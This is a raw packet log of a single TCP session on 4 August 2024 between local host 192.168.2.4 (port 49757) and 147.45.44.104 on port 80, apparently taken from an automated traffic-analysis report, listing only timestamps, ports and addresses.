Aug 4, 2024 02:21:37.573211908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573236942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573246002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573273897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573316097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573357105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573384047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573405027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573421955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573432922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573443890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573452950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573472023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573479891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573492050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573513985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573715925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573745966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573754072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573769093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573781013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573787928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573805094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573816061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573822975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573838949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573851109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573862076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573873043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573879004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573896885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573904037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573915005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573928118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573940039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573949099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573965073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573982954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574337006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574356079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574376106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574382067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574390888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574404955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574419022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574428082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574438095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574448109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574462891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574471951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574486017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574496031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574508905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574515104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574533939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574549913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574708939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574727058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574745893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574753046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574763060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574771881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574795961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574798107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574805975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574819088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574832916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574846983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574857950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574866056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574882030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574892998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574901104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574917078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574927092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574938059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574953079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574960947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574971914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.574982882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.574996948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575005054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575017929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575026989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575040102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575050116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575062037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575072050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575084925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575098991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575109005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575134039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575455904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575486898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575494051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575510025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575524092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575544119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575587988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575603008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575628996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575629950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575647116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575671911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575675011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575716019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575753927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575773954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575792074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575810909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575819016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575841904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575858116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575864077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575875998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575885057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575901031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575911045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.575918913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.575943947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.608460903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.608515978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.608536005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.608535051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.608561993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.608561993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.608572960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.608591080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.608597040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.608608007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.608629942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.608640909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.608649969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.608664989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.608676910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.608700037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665509939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665554047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665580034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665601969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665606022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665627003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665637970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665654898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665656090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665680885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665680885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665694952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665708065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665720940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665745020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665831089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665853977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665868044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665874958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665887117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665899038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665919065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665920973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665930033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665942907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665958881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665971041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.665977955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.665994883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666006088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666018963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666029930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666042089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666054010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666078091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666311979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666327953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666351080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666356087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666364908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666388988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666392088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666413069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666424036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666435003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666446924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666459084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666470051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666486025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666492939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666510105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666521072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666529894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666544914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666558981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.666568041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.666595936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668123007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668143988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668167114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668169022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668190002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668190956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668200016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668215036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668225050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668235064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668252945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668262005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668270111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668297052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668301105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668329954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668338060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668348074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668364048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668373108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668384075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668391943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668410063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668418884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668430090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668435097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668457985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668464899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668476105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668499947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668505907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668521881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668538094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668548107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668560028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668566942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668585062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668593884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668602943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668617010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668631077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668631077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668653965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668659925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668670893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668679953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668698072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668708086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668715954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668730974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668745041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668751955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668775082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668776035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668787956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668797016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668808937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668819904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668828964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668843031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668854952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668855906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668876886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668888092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668895960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668919086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668922901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668941975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668946028 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668957949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668970108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.668979883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.668988943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669006109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669013977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669023991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669035912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669051886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669054985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669080019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669083118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669100046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669104099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669116020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669122934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669147015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669156075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669163942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669177055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669194937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669202089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669212103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669224977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669236898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669245958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669259071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669270039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669279099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669291019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669305086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669313908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669327021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669332981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669348001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669358969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669374943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669400930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669775009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669791937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669816017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669826984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669843912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669850111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669862986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669873953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669883013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669897079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669909000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669918060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669930935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669943094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669951916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669961929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669981003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.669986963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.669996023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.670010090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.670022011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.670032024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.670046091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.670049906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.670063972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.670074940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.670085907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.670094013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.670113087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.670120955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.670125008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.670140982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.670156002 CEST	49757	80	192.168.2.4	147.45.44.104
